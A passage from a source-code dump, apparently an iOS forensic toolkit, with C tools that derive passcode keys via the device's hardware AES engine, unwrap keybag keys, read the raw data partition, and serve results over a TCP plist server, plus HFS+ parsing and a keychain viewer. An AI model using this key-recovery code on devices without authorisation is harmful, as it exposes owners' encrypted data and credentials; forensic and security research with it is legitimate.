129 | if __name__ == '__main__':
130 | main()
131 |
--------------------------------------------------------------------------------
/ramdisk_tools/AppleKeyStore_kdf.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "IOKit.h"
6 | #include "IOAESAccelerator.h"
7 | #include "AppleEffaceableStorage.h"
8 | #include "AppleKeyStore.h"
9 | #include "bsdcrypto/pbkdf2.h"
10 | #include "bsdcrypto/rijndael.h"
11 | #include "bsdcrypto/key_wrap.h"
12 |
13 | int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers);
14 | uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey);
15 | void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen);
16 |
17 | #define DERIVATION_BUFFER_SIZE 4096
18 | uint8_t buf1[DERIVATION_BUFFER_SIZE];
19 | uint8_t buf2[DERIVATION_BUFFER_SIZE];
20 |
21 | IOByteCount IOAESStructSize1 = sizeof(IOAESStruct);
22 | IOAESStruct in ={buf1,buf2,DERIVATION_BUFFER_SIZE,{0},0,128,{0},kIOAESAcceleratorUIDMask,0};
23 | IOAESStruct out = {0};
24 |
25 | int AppleKeyStore_getPasscodeKey(KeyBag* keybag,
26 | const char* passcode,
27 | size_t passcodeLen,
28 | uint8_t* passcodeKey)
29 | {
30 | //One PBKDF2 iter, hardcoded salt length
31 | pkcs5_pbkdf2(passcode, passcodeLen, keybag->salt, 20, passcodeKey, 32, 1);
32 |
33 | return AppleKeyStore_derivation(passcodeKey, 32, keybag->iter, keybag->version);
34 | }
35 |
36 | int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers)
37 | {
38 | IOReturn ret;
39 | io_connect_t conn = IOAESAccelerator_getIOconnect();
40 | memset(in.iv, 0, 16);
41 |
42 | uint32_t r4;
43 | uint32_t nBlocks = DERIVATION_BUFFER_SIZE / dataLength; //4096/32=128
44 | uint32_t xorkey = 1;
45 |
46 | uint32_t* buffer2 = data;
47 | if (vers >= 2)
48 | {
49 | buffer2 = malloc(dataLength);
50 | memcpy(buffer2, data, dataLength);
51 | }
52 | while (iter > 0)
53 | {
54 | //version=1 xorKey alawys=1, buffer2 changes at each iter
55 | //version=2 xorKey changes at each iter, buffer2 is always the input (pbkdf2(passcode))
56 | r4 = AppleKeyStore_xorExpand((uint32_t*)buf1, DERIVATION_BUFFER_SIZE, buffer2, dataLength, xorkey);
57 | if (vers >= 2)
58 | xorkey = r4;
59 |
60 | if((ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize1, &out, &IOAESStructSize1)) != kIOReturnSuccess)
61 | {
62 | fprintf(stderr, "IOConnectCallStructMethod fail : %x\n", ret);
63 | return -1;
64 | }
65 | memcpy(in.iv, out.iv, 16);
66 |
67 | r4 = nBlocks;
68 | if (r4 >= iter)
69 | {
70 | r4 = iter;
71 | }
72 | AppleKeyStore_xorCompress((uint32_t*) buf2, r4 * dataLength, data, dataLength);
73 | iter -= r4;
74 | }
75 | if (vers >= 2)
76 | {
77 | free(buffer2);
78 | }
79 | return 0;
80 | }
81 |
82 | /*
83 | uint32_t paddedLen = (inLen + 3) & (~3);//aligne sur 4 octets
84 | if (dstLen % paddedLen)
85 | return;
86 | uint32_t localBuf[inLen/4];
87 |
88 | memcpy(localBuf, input, inLen);
89 | memset(&localBuf[inLen], 0, paddedLen - inLen);*/
90 | uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey)
91 | {
92 | uint32_t* dstEnd = &dst[dstLen/4];
93 | uint32_t i = 0;
94 |
95 | while (dst < dstEnd)
96 | {
97 | i = 0;
98 | while (i < inLen/4)
99 | {
100 | *dst = input[i] ^ xorKey;
101 | dst++;
102 | i++;
103 | }
104 | xorKey++;
105 | }
106 | return xorKey;
107 | }
108 |
109 | void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen)
110 | {
111 | uint32_t i;
112 |
113 | for (i=0; i < (inputLen/4); i++)
114 | {
115 | output[i%(outputLen/4)] ^= input[i];
116 | }
117 | }
118 |
119 | int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, const char* passcode, size_t passcodeLen, uint8_t* key835)
120 | {
121 | u_int8_t passcodeKey[32]={0};
122 | u_int8_t unwrappedKey[40]={0};
123 | aes_key_wrap_ctx ctx;
124 | int i;
125 |
126 | AppleKeyStore_getPasscodeKey(kb, passcode, passcodeLen, passcodeKey);
127 | aes_key_wrap_set_key(&ctx, passcodeKey, 32);
128 |
129 | for (i=0; i < kb->numKeys; i++)
130 | {
131 | if (kb->keys[i].wrap & 2)
132 | {
133 | if(aes_key_unwrap(&ctx, kb->keys[i].wpky, unwrappedKey, 4))
134 | return 0;
135 | memcpy(kb->keys[i].wpky, unwrappedKey, 32);
136 | kb->keys[i].wrap &= ~2;
137 | }
138 | if (kb->keys[i].wrap & 1)
139 | {
140 | doAES(kb->keys[i].wpky, kb->keys[i].wpky, 32, kIOAESAcceleratorCustomMask, key835, NULL, kIOAESAcceleratorDecrypt, 128);
141 | kb->keys[i].wrap &= ~1;
142 | }
143 | }
144 | return 1;
145 | }
146 |
--------------------------------------------------------------------------------
/ramdisk_tools/util.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "util.h"
10 |
11 | void printBytesToHex(const uint8_t* buffer, size_t bytes)
12 | {
13 | while(bytes > 0) {
14 | printf("%02x", *buffer);
15 | buffer++;
16 | bytes--;
17 | }
18 | }
19 |
20 | void printHexString(const char* description, const uint8_t* buffer, size_t bytes)
21 | {
22 | printf("%s : ", description);
23 | printBytesToHex(buffer, bytes);
24 | printf("\n");
25 | }
26 |
27 | int write_file(const char* filename, uint8_t* data, size_t len)
28 | {
29 | int fd = open(filename, O_CREAT | O_RDWR);
30 | if (fd < 0)
31 | return -1;
32 | if (write(fd, data, len) != len)
33 | return -1;
34 | close(fd);
35 | return 0;
36 | }
37 |
38 | int mountDataPartition(const char* mountpoint)
39 | {
40 | char* diskname = "/dev/disk0s2s1";
41 | int err;
42 | printf("Trying to mount data partition\n");
43 | err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname);
44 | if (!err)
45 | return 0;
46 |
47 | diskname = "/dev/disk0s1s2";
48 | err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname);
49 |
50 | return err;
51 | }
52 |
53 |
54 | int getHFSInfos(struct HFSInfos *infos)
55 | {
56 | char buf[8192] = {0};
57 | struct HFSPlusVolumeHeader* header;
58 | unsigned int i,j;
59 |
60 | int fd = open("/dev/rdisk0s2", O_RDONLY);
61 | if (fd < 0 )
62 | fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm
63 | if (fd < 0 )
64 | return fd;
65 | lseek(fd, 0, SEEK_SET);
66 |
67 | if (read(fd, buf, 8192) != 8192)
68 | return -1;
69 | close(fd);
70 |
71 | header = (struct HFSPlusVolumeHeader*) &buf[0x400];
72 |
73 | uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize);
74 |
75 | infos->volumeUUID = header->volumeUUID;
76 | infos->blockSize = blockSize;
77 |
78 | if (blockSize != 0x1000 && blockSize != 0x2000)
79 | {
80 | fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize);
81 | }
82 | else
83 | {
84 | fd = open("/dev/rdisk0", O_RDONLY);
85 | if (fd < 0 )
86 | return fd;
87 |
88 | if (read(fd, buf, 8192) != 8192)
89 | return -1;
90 |
91 | if (!memcmp(buf, LwVMType, 16))
92 | {
93 | LwVM* lwvm = (LwVM*) buf;
94 |
95 | if (lwvm->chunks[0] != 0xF000)
96 | {
97 | fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n");
98 | return -1;
99 | }
100 |
101 | for(i=0; i < 0x400; i++)
102 | {
103 | if(lwvm->chunks[i] == 0x1000) //partition 1 block 0
104 | {
105 | break;
106 | }
107 | }
108 | //XXX: ugly hack, but openiboot formula is weird
109 | uint64_t knownSizes[] = {8, 16, 32, 64, 128};
110 | uint32_t deviceSize = 0;
111 | for (j=0; j < 5; j++)
112 | {
113 | if (lwvm->mediaSize < (knownSizes[j] * 1024*1024*1024))
114 | {
115 | deviceSize = knownSizes[j];
116 | break;
117 | }
118 | }
119 | //fprintf(stderr, "getHFSInfos : LwVM HAX, device is %d Gb, right ?\n", deviceSize);
120 | infos->dataVolumeOffset = (i * deviceSize*1024*1024) / blockSize;
121 | }
122 | else
123 | {
124 | lseek(fd, 2*blockSize, SEEK_SET);
125 |
126 | if (read(fd, buf, 8192) != 8192)
127 | return -1;
128 | close(fd);
129 |
130 | infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4];
131 | }
132 | }
133 | return 0;
134 | }
135 |
136 | CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len)
137 | {
138 | int i;
139 |
140 | CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2);
141 |
142 | for(i=0; i < len; i++)
143 | {
144 | CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]);
145 | }
146 | return s;
147 | }
148 |
149 | void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len)
150 | {
151 | CFMutableStringRef s = CreateHexaCFString(buffer, len);
152 | CFDictionaryAddValue(out, key, s);
153 | CFRelease(s);
154 | }
155 |
156 | void saveResults(CFStringRef filename, CFMutableDictionaryRef out)
157 | {
158 | CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE);
159 | CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL);
160 | CFWriteStreamOpen(stream);
161 | CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL);
162 | CFWriteStreamClose(stream);
163 |
164 | CFRelease(stream);
165 | CFRelease(fileURL);
166 | }
--------------------------------------------------------------------------------
/ramdisk_tools/plist_server.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "plist_server.h"
9 |
10 | #define TCP_PORT 1999
11 |
12 | int create_listening_socket(int port)
13 | {
14 | struct sockaddr_in listen_addr;
15 | int s, one = 1;
16 |
17 | memset(&listen_addr, 0, sizeof(struct sockaddr));
18 | listen_addr.sin_family = AF_INET;
19 | listen_addr.sin_port = htons(port);
20 | listen_addr.sin_addr.s_addr = INADDR_ANY;
21 |
22 | s = socket(AF_INET, SOCK_STREAM, 0);
23 |
24 | setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
25 |
26 | if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0)
27 | {
28 | perror("bind");
29 | return -1;
30 | }
31 | listen(s, 10);
32 |
33 | return s;
34 | }
35 |
36 | int send_progress_message(int socket, int progress, int total)
37 | {
38 | const void* keys[3] = {CFSTR("MessageType"), CFSTR("Progress"), CFSTR("Total")};
39 | const void* values[3] = {CFSTR("Progress"), NULL, NULL};
40 |
41 | CFNumberRef number = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &progress);
42 | CFNumberRef number2 = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &total);
43 | values[1] = number;
44 | values[2] = number2;
45 | CFDictionaryRef msg = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 3, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
46 | CFRelease(number);
47 | CFRelease(number2);
48 | int res = send_object(socket, msg);
49 | CFRelease(msg);
50 | return res;
51 | }
52 |
53 | int send_object(int socket, CFTypeRef obj)
54 | {
55 | uint32_t len = 0;
56 | int res = -1;
57 |
58 | if(obj == NULL)
59 | return res;
60 |
61 | CFDataRef outdata = CFPropertyListCreateData(kCFAllocatorDefault, obj, kCFPropertyListXMLFormat_v1_0, 0, NULL);
62 | if (outdata != NULL)
63 | {
64 | len = CFDataGetLength(outdata);
65 | write(socket, &len, 4);
66 | res = write(socket, CFDataGetBytePtr(outdata), CFDataGetLength(outdata));
67 | CFRelease(outdata);
68 | }
69 | return res;
70 | }
71 |
72 | int handle_client(int socket, CFDictionaryRef handlers)
73 | {
74 | uint32_t len=0;
75 | uint32_t received,i;
76 | CFDataRef data;
77 | CFDictionaryRef plist;
78 | CFTypeRef out = NULL;
79 | uint8_t* buffer;
80 | CFTypeRef (*handler)(int, CFDictionaryRef dict) = NULL;
81 |
82 | while(1)
83 | {
84 | if(recv(socket, &len, 4, 0) != 4)
85 | break;
86 | //printf("len=%x\n", len);
87 |
88 | if (len > PLIST_MAX_SIZE)
89 | break;
90 |
91 | buffer = malloc(len);
92 |
93 | if(buffer == NULL)
94 | break;
95 |
96 | for(i=0; i < len; )
97 | {
98 | received = recv(socket, &buffer[i], len - i, 0);
99 | if (received == -1)
100 | break;
101 | i += received;
102 | }
103 |
104 | data = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, buffer, len, kCFAllocatorNull);
105 |
106 | if(data == NULL)
107 | {
108 | free(buffer);
109 | continue;
110 | }
111 |
112 | plist = (CFDictionaryRef) CFPropertyListCreateWithData (kCFAllocatorDefault, data, kCFPropertyListImmutable, NULL, NULL);
113 |
114 | if(plist == NULL || CFGetTypeID(plist) != CFDictionaryGetTypeID())
115 | {
116 | CFRelease(data);
117 | free(buffer);
118 | send_object(socket, CFSTR("invalid XML plist dictionary"));
119 | continue;
120 | }
121 |
122 | if (CFDictionaryContainsKey(plist, CFSTR("Request")))
123 | {
124 | CFStringRef request = CFDictionaryGetValue(plist, CFSTR("Request"));
125 |
126 | handler = CFDictionaryGetValue(handlers, request);
127 |
128 | if (handler != NULL)
129 | {
130 | out = handler(socket, plist);
131 | if (out == NULL)
132 | out = CFSTR("Request did not return any result");
133 | }
134 | else
135 | {
136 | out = CFSTR("No handler defined for Request");
137 | }
138 | }
139 | else
140 | {
141 | out = CFSTR("request dictionary needs to contain Request key");
142 | }
143 |
144 | if(out == NULL)
145 | out = CFSTR("no response");
146 |
147 | send_object(socket, out);
148 | CFRelease(out);
149 |
150 | CFRelease(plist);
151 | CFRelease(data);
152 | free(buffer);
153 | }
154 | send_object(socket, CFSTR("kthxbye"));
155 | return 0;
156 | }
157 |
158 | void serve_plist_rpc(int port, CFDictionaryRef handlers)
159 | {
160 | int quit = 0;
161 | int one=1;
162 | printf("plist_rpc: listening on port %d\n", port);
163 | int sl = create_listening_socket(port);
164 |
165 | while(!quit)
166 | {
167 | int s = accept(sl, NULL, NULL);
168 | setsockopt(s, SOL_SOCKET, SO_NOSIGPIPE, (void *)&one, sizeof(int));
169 |
170 | handle_client(s, handlers);
171 | shutdown(s, SHUT_RDWR);
172 | close(s);
173 | }
174 | close(sl);
175 | }
176 |
177 | CFStringRef testHandler(int s, CFDictionaryRef dict)
178 | {
179 | printf("lol\n");
180 | return CFSTR("Hello, World!");
181 | }
182 |
183 |
--------------------------------------------------------------------------------
/emf_decrypter/common/base64.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include
7 |
8 | unsigned char* decodeBase64(char* toDecode, size_t* dataLength) {
9 | uint8_t buffer[4];
10 | uint8_t charsInBuffer;
11 | unsigned char* curChar;
12 | unsigned char* decodeBuffer;
13 | unsigned int decodeLoc;
14 | unsigned int decodeBufferSize;
15 | uint8_t bytesToDrop;
16 |
17 | curChar = (unsigned char*) toDecode;
18 | charsInBuffer = 0;
19 |
20 | decodeBufferSize = 100;
21 | decodeLoc = 0;
22 | decodeBuffer = (unsigned char*) malloc(decodeBufferSize);
23 |
24 | bytesToDrop = 0;
25 |
26 | while((*curChar) != '\0') {
27 | if((*curChar) >= 'A' && (*curChar) <= 'Z') {
28 | buffer[charsInBuffer] = (*curChar) - 'A';
29 | charsInBuffer++;
30 | }
31 |
32 | if((*curChar) >= 'a' && (*curChar) <= 'z') {
33 | buffer[charsInBuffer] = ((*curChar) - 'a') + ('Z' - 'A' + 1);
34 | charsInBuffer++;
35 | }
36 |
37 | if((*curChar) >= '0' && (*curChar) <= '9') {
38 | buffer[charsInBuffer] = ((*curChar) - '0') + ('Z' - 'A' + 1) + ('z' - 'a' + 1);
39 | charsInBuffer++;
40 | }
41 |
42 | if((*curChar) == '+') {
43 | buffer[charsInBuffer] = ('Z' - 'A' + 1) + ('z' - 'a' + 1) + ('9' - '0' + 1);
44 | charsInBuffer++;
45 | }
46 |
47 | if((*curChar) == '/') {
48 | buffer[charsInBuffer] = ('Z' - 'A' + 1) + ('z' - 'a' + 1) + ('9' - '0' + 1) + 1;
49 | charsInBuffer++;
50 | }
51 |
52 | if((*curChar) == '=') {
53 | bytesToDrop++;
54 | }
55 |
56 | if(charsInBuffer == 4) {
57 | charsInBuffer = 0;
58 |
59 | if((decodeLoc + 3) >= decodeBufferSize) {
60 | decodeBufferSize <<= 1;
61 | decodeBuffer = (unsigned char*) realloc(decodeBuffer, decodeBufferSize);
62 | }
63 | decodeBuffer[decodeLoc] = ((buffer[0] << 2) & 0xFC) + ((buffer[1] >> 4) & 0x3F);
64 | decodeBuffer[decodeLoc + 1] = ((buffer[1] << 4) & 0xF0) + ((buffer[2] >> 2) & 0x0F);
65 | decodeBuffer[decodeLoc + 2] = ((buffer[2] << 6) & 0xC0) + (buffer[3] & 0x3F);
66 |
67 | decodeLoc += 3;
68 | buffer[0] = 0;
69 | buffer[1] = 0;
70 | buffer[2] = 0;
71 | buffer[3] = 0;
72 | }
73 |
74 | curChar++;
75 | }
76 |
77 | if(bytesToDrop != 0) {
78 | if((decodeLoc + 3) >= decodeBufferSize) {
79 | decodeBufferSize <<= 1;
80 | decodeBuffer = (unsigned char*) realloc(decodeBuffer, decodeBufferSize);
81 | }
82 |
83 | decodeBuffer[decodeLoc] = ((buffer[0] << 2) & 0xFC) | ((buffer[1] >> 4) & 0x3F);
84 |
85 | if(bytesToDrop <= 2)
86 | decodeBuffer[decodeLoc + 1] = ((buffer[1] << 4) & 0xF0) | ((buffer[2] >> 2) & 0x0F);
87 |
88 | if(bytesToDrop <= 1)
89 | decodeBuffer[decodeLoc + 2] = ((buffer[2] << 6) & 0xC0) | (buffer[3] & 0x3F);
90 |
91 | *dataLength = decodeLoc + 3 - bytesToDrop;
92 | } else {
93 | *dataLength = decodeLoc;
94 | }
95 |
96 | return decodeBuffer;
97 | }
98 |
99 | void writeBase64(AbstractFile* file, unsigned char* data, size_t dataLength, int tabLength, int width) {
100 | char* buffer;
101 | buffer = convertBase64(data, dataLength, tabLength, width);
102 | file->write(file, buffer, strlen(buffer));
103 | free(buffer);
104 | }
105 |
106 | #define CHECK_BUFFER_SIZE() \
107 | if(pos == bufferSize) { \
108 | bufferSize <<= 1; \
109 | buffer = (unsigned char*) realloc(buffer, bufferSize); \
110 | }
111 |
112 | #define CHECK_LINE_END_STRING() \
113 | CHECK_BUFFER_SIZE() \
114 | if(width == lineLength) { \
115 | buffer[pos++] = '\n'; \
116 | CHECK_BUFFER_SIZE() \
117 | for(j = 0; j < tabLength; j++) { \
118 | buffer[pos++] = '\t'; \
119 | CHECK_BUFFER_SIZE() \
120 | } \
121 | lineLength = 0; \
122 | } else { \
123 | lineLength++; \
124 | }
125 |
126 | char* convertBase64(unsigned char* data, size_t dataLength, int tabLength, int width) {
127 | const char* dictionary = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
128 |
129 | unsigned char* buffer;
130 | size_t pos;
131 | size_t bufferSize;
132 | int i, j;
133 | int lineLength;
134 |
135 | bufferSize = 100;
136 | buffer = (unsigned char*) malloc(bufferSize);
137 | pos = 0;
138 | lineLength = 0;
139 |
140 | for(i = 0; i < tabLength; i++) {
141 | CHECK_BUFFER_SIZE()
142 | buffer[pos++] = '\t';
143 | }
144 | i = 0;
145 | while(dataLength >= 3) {
146 | dataLength -= 3;
147 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F];
148 | CHECK_LINE_END_STRING();
149 | buffer[pos++] = dictionary[(((data[i] << 4) & 0x30) | ((data[i+1] >> 4) & 0x0F)) & 0x3F];
150 | CHECK_LINE_END_STRING();
151 | buffer[pos++] = dictionary[(((data[i+1] << 2) & 0x3C) | ((data[i+2] >> 6) & 0x03)) & 0x03F];
152 | CHECK_LINE_END_STRING();
153 | buffer[pos++] = dictionary[data[i+2] & 0x3F];
154 | CHECK_LINE_END_STRING();
155 | i += 3;
156 | }
157 |
158 | if(dataLength == 2) {
159 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F];
160 | CHECK_LINE_END_STRING();
161 | buffer[pos++] = dictionary[(((data[i] << 4) & 0x30) | ((data[i+1] >> 4) & 0x0F)) & 0x3F];
162 | CHECK_LINE_END_STRING();
163 | buffer[pos++] = dictionary[(data[i+1] << 2) & 0x3C];
164 | CHECK_LINE_END_STRING();
165 | buffer[pos++] = '=';
166 | } else if(dataLength == 1) {
167 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F];
168 | CHECK_LINE_END_STRING();
169 | buffer[pos++] = dictionary[(data[i] << 4) & 0x30];
170 | CHECK_LINE_END_STRING();
171 | buffer[pos++] = '=';
172 | CHECK_LINE_END_STRING();
173 | buffer[pos++] = '=';
174 | }
175 |
176 | CHECK_BUFFER_SIZE();
177 | buffer[pos++] = '\n';
178 |
179 | CHECK_BUFFER_SIZE();
180 | buffer[pos++] = '\0';
181 |
182 | return (char*) buffer;
183 | }
184 |
--------------------------------------------------------------------------------
/emf_decrypter/hfs/volume.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | void flipForkData(HFSPlusForkData* forkData) {
6 | FLIPENDIAN(forkData->logicalSize);
7 | FLIPENDIAN(forkData->clumpSize);
8 | FLIPENDIAN(forkData->totalBlocks);
9 |
10 | flipExtentRecord(&forkData->extents);
11 | }
12 |
13 | static HFSPlusVolumeHeader* readVolumeHeader(io_func* io, off_t offset) {
14 | HFSPlusVolumeHeader* volumeHeader;
15 |
16 | volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader));
17 |
18 | if(!(READ(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader)))
19 | return NULL;
20 |
21 | FLIPENDIAN(volumeHeader->signature);
22 | FLIPENDIAN(volumeHeader->version);
23 | FLIPENDIAN(volumeHeader->attributes);
24 | FLIPENDIAN(volumeHeader->lastMountedVersion);
25 | FLIPENDIAN(volumeHeader->journalInfoBlock);
26 | FLIPENDIAN(volumeHeader->createDate);
27 | FLIPENDIAN(volumeHeader->modifyDate);
28 | FLIPENDIAN(volumeHeader->backupDate);
29 | FLIPENDIAN(volumeHeader->checkedDate);
30 | FLIPENDIAN(volumeHeader->fileCount);
31 | FLIPENDIAN(volumeHeader->folderCount);
32 | FLIPENDIAN(volumeHeader->blockSize);
33 | FLIPENDIAN(volumeHeader->totalBlocks);
34 | FLIPENDIAN(volumeHeader->freeBlocks);
35 | FLIPENDIAN(volumeHeader->nextAllocation);
36 | FLIPENDIAN(volumeHeader->rsrcClumpSize);
37 | FLIPENDIAN(volumeHeader->dataClumpSize);
38 | FLIPENDIAN(volumeHeader->nextCatalogID);
39 | FLIPENDIAN(volumeHeader->writeCount);
40 | FLIPENDIAN(volumeHeader->encodingsBitmap);
41 |
42 |
43 | flipForkData(&volumeHeader->allocationFile);
44 | flipForkData(&volumeHeader->extentsFile);
45 | flipForkData(&volumeHeader->catalogFile);
46 | flipForkData(&volumeHeader->attributesFile);
47 | flipForkData(&volumeHeader->startupFile);
48 |
49 | return volumeHeader;
50 | }
51 |
52 | static int writeVolumeHeader(io_func* io, HFSPlusVolumeHeader* volumeHeaderToWrite, off_t offset) {
53 | HFSPlusVolumeHeader* volumeHeader;
54 |
55 | volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader));
56 | memcpy(volumeHeader, volumeHeaderToWrite, sizeof(HFSPlusVolumeHeader));
57 |
58 | FLIPENDIAN(volumeHeader->signature);
59 | FLIPENDIAN(volumeHeader->version);
60 | FLIPENDIAN(volumeHeader->attributes);
61 | FLIPENDIAN(volumeHeader->lastMountedVersion);
62 | FLIPENDIAN(volumeHeader->journalInfoBlock);
63 | FLIPENDIAN(volumeHeader->createDate);
64 | FLIPENDIAN(volumeHeader->modifyDate);
65 | FLIPENDIAN(volumeHeader->backupDate);
66 | FLIPENDIAN(volumeHeader->checkedDate);
67 | FLIPENDIAN(volumeHeader->fileCount);
68 | FLIPENDIAN(volumeHeader->folderCount);
69 | FLIPENDIAN(volumeHeader->blockSize);
70 | FLIPENDIAN(volumeHeader->totalBlocks);
71 | FLIPENDIAN(volumeHeader->freeBlocks);
72 | FLIPENDIAN(volumeHeader->nextAllocation);
73 | FLIPENDIAN(volumeHeader->rsrcClumpSize);
74 | FLIPENDIAN(volumeHeader->dataClumpSize);
75 | FLIPENDIAN(volumeHeader->nextCatalogID);
76 | FLIPENDIAN(volumeHeader->writeCount);
77 | FLIPENDIAN(volumeHeader->encodingsBitmap);
78 |
79 |
80 | flipForkData(&volumeHeader->allocationFile);
81 | flipForkData(&volumeHeader->extentsFile);
82 | flipForkData(&volumeHeader->catalogFile);
83 | flipForkData(&volumeHeader->attributesFile);
84 | flipForkData(&volumeHeader->startupFile);
85 |
86 | if(!(WRITE(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader)))
87 | return FALSE;
88 |
89 | free(volumeHeader);
90 |
91 | return TRUE;
92 | }
93 |
94 | int updateVolume(Volume* volume) {
95 | ASSERT(writeVolumeHeader(volume->image, volume->volumeHeader,
96 | ((off_t)volume->volumeHeader->totalBlocks * (off_t)volume->volumeHeader->blockSize) - 1024), "writeVolumeHeader");
97 | return writeVolumeHeader(volume->image, volume->volumeHeader, 1024);
98 | }
99 |
100 | Volume* openVolume(io_func* io) {
101 | Volume* volume;
102 | io_func* file;
103 |
104 | volume = (Volume*) malloc(sizeof(Volume));
105 | volume->image = io;
106 | volume->extentsTree = NULL;
107 |
108 | volume->volumeHeader = readVolumeHeader(io, 1024);
109 | if(volume->volumeHeader == NULL) {
110 | free(volume);
111 | return NULL;
112 | }
113 |
114 | file = openRawFile(kHFSExtentsFileID, &volume->volumeHeader->extentsFile, NULL, volume);
115 | if(file == NULL) {
116 | free(volume->volumeHeader);
117 | free(volume);
118 | return NULL;
119 | }
120 |
121 | volume->extentsTree = openExtentsTree(file);
122 | if(volume->extentsTree == NULL) {
123 | free(volume->volumeHeader);
124 | free(volume);
125 | return NULL;
126 | }
127 |
128 | file = openRawFile(kHFSCatalogFileID, &volume->volumeHeader->catalogFile, NULL, volume);
129 | if(file == NULL) {
130 | closeBTree(volume->extentsTree);
131 | free(volume->volumeHeader);
132 | free(volume);
133 | return NULL;
134 | }
135 |
136 | volume->catalogTree = openCatalogTree(file);
137 | if(volume->catalogTree == NULL) {
138 | closeBTree(volume->extentsTree);
139 | free(volume->volumeHeader);
140 | free(volume);
141 | return NULL;
142 | }
143 |
144 | volume->allocationFile = openRawFile(kHFSAllocationFileID, &volume->volumeHeader->allocationFile, NULL, volume);
145 | if(volume->allocationFile == NULL) {
146 | closeBTree(volume->catalogTree);
147 | closeBTree(volume->extentsTree);
148 | free(volume->volumeHeader);
149 | free(volume);
150 | return NULL;
151 | }
152 |
153 | volume->attrTree = NULL;
154 | file = openRawFile(kHFSAttributesFileID, &volume->volumeHeader->attributesFile, NULL, volume);
155 | if(file != NULL) {
156 | volume->attrTree = openAttributesTree(file);
157 | if(!volume->attrTree) {
158 | CLOSE(file);
159 | }
160 | }
161 |
162 | volume->metadataDir = getMetadataDirectoryID(volume);
163 |
164 | return volume;
165 | }
166 |
167 | void closeVolume(Volume *volume) {
168 | if(volume->attrTree)
169 | closeBTree(volume->attrTree);
170 |
171 | CLOSE(volume->allocationFile);
172 | closeBTree(volume->catalogTree);
173 | closeBTree(volume->extentsTree);
174 | free(volume->volumeHeader);
175 | free(volume);
176 | }
177 |
--------------------------------------------------------------------------------
/python_scripts/demo_backup_keychain.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import sys, os
4 | from PyQt4 import QtGui, QtCore
5 | from backups.backup4 import MBDB
6 | from keychain.keychain4 import Keychain4
7 | from util.bplist import BPlistReader
8 | from keystore.keybag import Keybag
9 | from util import readPlist
10 |
11 | class KeychainTreeWidget(QtGui.QTreeWidget):
12 | def __init__(self, parent=None):
13 | QtGui.QTreeWidget.__init__(self, parent)
14 |
15 | self.setGeometry(10, 10, 780, 380)
16 | self.header().hide()
17 | self.setColumnCount(2)
18 |
19 | class KeychainTreeWidgetItem(QtGui.QTreeWidgetItem):
20 | def __init__(self, title):
21 | QtGui.QTreeWidgetItem.__init__(self, [title])
22 |
23 | fnt = self.font(0)
24 | fnt.setBold(True)
25 | self.setFont(0, fnt)
26 | self.setColors()
27 |
28 | def setText(self, column, title):
29 | QtGui.QTreeWidgetItem.setText(self, column, title)
30 |
31 | def setColors(self):
32 | self.setForeground(0, QtGui.QBrush(QtGui.QColor(80, 80, 80)))
33 | self.setBackground(0, QtGui.QBrush(QtGui.QColor(230, 230, 230)))
34 | self.setBackground(1, QtGui.QBrush(QtGui.QColor(230, 230, 230)))
35 |
36 | class LockedKeychainTreeWidgetItem(KeychainTreeWidgetItem):
37 | def setColors(self):
